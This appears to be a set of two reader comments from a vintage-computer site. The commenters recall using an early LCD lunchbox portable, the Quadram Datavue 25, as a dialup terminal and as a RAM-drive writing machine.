- - author: William Schaub (United States) - date: Tuesday 1st May 2012 - text: |- - Me and my uncle got two of these at a flea market for 20$ a piece sometime in the mid 90s. I used a boot floppy with Procomm Plus to turn it into a nice portable dumb terminal. I introduced my uncle to BBSes with it. I also used it to get on the net using a dialup shell account. - - I had a 386 at home running FreeBSD at the time. but when I would go visit my uncle or go other places I would use this neat little machine to chat on IRC and check email using the built in 1200BPS modem. - - I may still have one of these in storage somewhere. I think the guy at the fleamarket was selling a whole pallet of them that were surplus from the IRS modernizing their systems. - - author: Bob Cowart (USA) - date: Thursday 9th September 2010 - text: This machine was also successfully sold by Quadram, of Norcross, GA. They made memory cards and video boards for PC''s as well. The Quadram Datavue 25 had a 25-line LCD and detachable IR keyboard. It was available in several different models, with backlight LCD, reflective LCD, and orange gas plasma (as I recall). There was a RAM drive option that made the reflective LCD version very fast and energy efficient. I used these units for authoring several books. Using a task-switcher program such as Software Carousel, I could run dBase III, Wordstar, Sidekick, etc., which were all loaded into the RAM drive, and switch between them with a keystroke. This was before Windows, but allowed me to work in a multi-tasking style. I''d save my writing to floppy regularly, to avoid loosing my work if the battery died or there was a lockup. All the programs I used were loaded into the RAM drive when I booted from the 5-1/4" floppy. All-all, I hold that the Datavue was superior to the Osborne or - Zenith clones of this first LCD lunchbox offering by Vandem, primarily because of the RAM drive and detachable, wireless keyboard. It also ran silent. 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